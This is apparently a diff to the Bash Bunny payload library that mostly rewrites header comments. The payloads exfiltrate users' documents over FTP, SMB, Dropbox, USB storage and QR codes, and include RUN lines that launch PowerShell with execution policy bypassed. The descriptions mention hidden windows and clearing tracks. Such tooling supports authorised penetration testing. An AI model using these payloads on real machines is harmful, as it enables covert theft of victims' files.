-# Props: jimcola99 Buchanan
-# Demo: Hak5 episode 2505
-# Target: Windows Vista+
-# Category: Exfiltration
+# Props: jimcola99, Buchanan
+# Demo: Hak5 Episode 2505
+# Targets: Windows
+# Description: Exfiltrate via DropBox
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Blink: Getting Script
+# Green: Finish
 
 LED SETUP
 ATTACKMODE HID

payloads/library/exfiltration/ftp_exfiltrator/payload.txt

@@ -1,19 +1,17 @@
 #!/bin/bash
 #
-# Title:         FTP Exfiltrator
-# Author:        Nutt
-# Version:       1.0
-# Target:        Windows
+# Title:       FTP Exfiltrator
+# Author:      Nutt
+# Version:     1.0
+# Targets:     Windows
+# Description: Exfiltrates files from the users Documents folder FTP's all files/folders to a specified
+#              FTP site named by the victim hostname. Powershell FTP script will stay running after
+#              BashBunny is unpluggedonce light turns green unplug and check FTP site.
 #
-#Exfiltrates files from the users Documents folder
-#FTP's all files/folders to a specified FTP site named by the victim hostname.
-#Powershell FTP script will stay running after BashBunny is unplugged, once light turns green unplug and check FTP site.
-
-#Executes 1.ps1
-
-#Purple.........Setup
-#Red............Failed - Need to work on
-#Green..........Finished
+# LEDS:
+# Purple: Setup
+# Red: Failed - Need to work on
+# Green: Finished
 
 LED SETUP
 GET SWITCH_POSITION

payloads/library/exfiltration/optical-exfiltration/payload.txt

@@ -1,31 +1,22 @@
 #!/bin/bash
 #
-# Title:         Optical Exfiltration
-# Author:        bg-wa
-# Version:       1.0
-# Category:      HID
-# Target:        *NIX
-# Attackmodes:   HID
-# Sources:       Hak5 2320, https://github.com/bg-wa/QRExtractor
+# Title:        Optical Exfiltration
+# Author:       bg-wa
+# Version:      1.0
+# Targets:      macOS, Linux
+# Attack Modes: HID
+# Sources:      Hak5 2320, https://github.com/bg-wa/QRExtractor
+# Description:  Quick HID only attack to write an HTML/JS file to target machine
+#               and open a browser, to exfiltrate data Using QR Codes and a video recording device.
+#               Optional html params:
+#               base64: Passing a base64 string to this param will auto-start processing QR Codes.
+#               playback: Passing the string "finish" to this param will auto-play the results, when QR codes finish rendering.
+#               Example: Ln65: Q STRING firefox "$target_html?playback=finish&base64=my_long_string"
 #
-# Quick HID only attack to write an HTML/JS file to target machine
-# and open a browser, to exfiltrate data Using QR Codes and a video
-# recording device.
-#
-# Optional html params:
-# base64: Passing a base64 string to this param will auto-start processing QR Codes.
-#
-# playback: Passing the string "finish" to this param will auto-play the results,
-#           when QR codes finish rendering.
-#
-# Example:
-# Ln65: Q STRING firefox "$target_html?playback=finish&base64=my_long_string"
-#
-# | Attack Stage        | Description                              |
-# | ------------------- | ---------------------------------------- |
-# | SETUP               | Open vi                                  |
-# | ATTACK              | Writing HTML                             |
-# | FINISH              | Browser Ready/Processing                            |
+# LEDS:
+# Magenta: Open vi
+# Yellow Blink: Writing HTML
+# Green:  Browser Ready/Processing
 #
 
 ATTACKMODE HID
@@ -65,4 +56,4 @@ Q ENTER
 Q STRING firefox "$target_html"
 Q ENTER
 
-LED FINISH
+LED FINISH

payloads/library/exfiltration/simple-usb-extractor/payload.txt

@@ -1,4 +1,16 @@
-# Executes z.cmd from the switch position's folder, thus launching x.cmd silently using i.vbs
+#!/bin/bash
+#
+# Title: simple-usb-extractor
+# Version: 1.0
+# Author: danthegoodman1
+# Targets: Windows
+# Attack Modes: HID, STORAGE
+# Description: Executes z.cmd from the switch position's folder, thus launching x.cmd silently using i.vbs
+# 
+# LEDS:
+# Yellow Blink - Attacking
+# Green - Finished
+
 GET SWITCH_POSITION
 LED ATTACK
 ATTACKMODE HID STORAGE

payloads/library/exfiltration/smb_exfiltrator/payload.txt

@@ -4,47 +4,20 @@
 # Author:        Hak5Darren
 # Props:         ImNatho, mike111b, madbuda
 # Version:       1.1
-# Category:      Exfiltration
-# Target:        Windows XP SP3+ (Powershell)
-# Attackmodes:   HID, Ethernet
+# Target:        Windows XP
+# Attack Modes:  HID, RNDIS_ETHERNET
+# Requires:      Impacket Tool
+# Description:   Exfiltrates select files from users's documents folder via SMB.
+#                Liberated documents will reside in Bash Bunny loot directory under
+#                loot/smb_exfiltrator/HOSTNAME/DATE_TIME. Exfiltration options configured from included s.ps1 script.
 #
-# CHANGELOG
-# =========
-# Rewrite of the original SMB Exfiltrator payload with:
-# - Faster copying, using robocopy multithreaded mode
-# - Faster finish, using a EXFILTRATION_COMPLETE file
-# - Offload logic to target PC for accurate date/time
-# - Clears tracks by default without second run dialog
-# - Test-Connection handling by ICMP (no lame sleeps)
-# - Hidden powershell window by default
-#
-# REQUIREMENTS
-# ============
-# Needs impacket to be copied to /tools/impacket and installed
-# Option A:
-#   1. Download impacket from https://github.com/CoreSecurity/impacket
-#   2. Copy impacket folder to /tools on the Bash Bunny flash drive
-#   3. Boot Bash Bunny into arming mode and connect to console via serial
-#   4. Issue "python /tools/impacket/setup.py install"
-# Option B:
-#   1. Download impacket deb package 
-#   2. Copy impacket.deb to /tools on the Bash Bunny flash drive
-#   3. Boot Bash Bunny into arming mode. Impacket will install automatically.
-# 
-# LED STATUS
-# ==========
-# FAIL........Failed to find dependencies
-# STAGE1......HID Stage
-# STAGE2......Ethernet Stage
-# SPECIAL.....Receiving Files
-# CLEANUP.....Moving Liberated Files
-# FINISH......Finished
-#
-# OPTIONS
-# =======
-# Exfiltration options configured from included s.ps1 script
-
-
+# LEDS:
+# Red: Failed to find dependencies
+# Yellow Single Blink: HID Stage
+# Yellow Double Blink: Ethernet Stage
+# Cyan: Receiving Files
+# White: Moving Liberated Files
+# Green: Finished
 
 ######## INITIALIZATION ########
 REQUIRETOOL impacket

payloads/library/exfiltration/usb_exfiltrator/payload.txt

@@ -3,14 +3,16 @@
 # Title:         USB Exfiltrator
 # Author:        Hak5Darren
 # Version:       1.1
-# Target:        Windows XP SP3+
+# Target:        Windows XP
 # Props:         Diggster, IMcPwn
-# Category:      Exfiltration
-#
-# Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
-# which in turn executes e.cmd invisibly using i.vbs
-# which in turn copies documents to the loot folder on the Bash Bunny.
+# Description:   Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
+#                which in turn executes e.cmd invisibly using i.vbs
+#                which in turn copies documents to the loot folder on the Bash Bunny.
 #
+# LEDS:
+# Yellow Blink: Attacking
+# Green: Finished
+
 GET SWITCH_POSITION
 LED ATTACK
 ATTACKMODE HID STORAGE

payloads/library/general/ALTCODE-DEMO/payload.txt

@@ -1,10 +1,16 @@
-# ANSI Art Demo
-# Author: Hak5Darren
-
+#!/bin/bash
+# Title: ANSI Art Demo
+# Author: Hak5Darren
 # Props: Crackruckles
 # Demo: Hak5 episode 2506
-# Target: Windows 95+
-# Category: General
+# Targets: Windows
+# Attack Modes: HID
+# Description: Demo of Alt Codes Injection
+#
+# LEDS:
+# Magenta: Setting up
+# Yellow Blink: Attacking
+# Green: Finished
 
 LED SETUP
 ATTACKMODE HID

payloads/library/incident_response/Hidden_Images/payload.txt

@@ -0,0 +1,19 @@
+# Title: Hidden_Images
+# Author: Murty007
+# Creds: thehappydinoa
+# Description: A (naive) user may attempt to hide image(picture) files by simply
+# renaming them to appear to be other filetypes (i.e. Word documents etc).
+# This payload uses a powershell script to walk the userprofile to look
+# for image files that have been hidden in this manner.
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Blink: Attacking
+
+LED SETUP
+GET SWITCH_POSITION
+ATTACKMODE HID STORAGE
+
+LED SETUP
+RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\${SWITCH_POSITION}\run.ps1')"
+LED ATTACK

payloads/library/incident_response/Link_File_analysis/payload.txt

@@ -0,0 +1,19 @@
+# Title: Link File Analysis
+# Author: thehappydinoa
+# Version: 1.0
+# Description: This payload uses a powershell script to search the user profle for lnk files where the target
+# is on a drive other than the C: Drive. The output is put into a CSV file in the folder \loot\link-files.
+#
+# LEDS:
+# Magenta - Setup
+# Yellow Blinking - Attacking
+#
+# Target: Windows
+
+LED SETUP
+ATTACKMODE HID STORAGE
+GET SWITCH_POSITION
+
+LED SETUP
+RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\${SWITCH_POSITION}\run.ps1')"
+LED ATTACk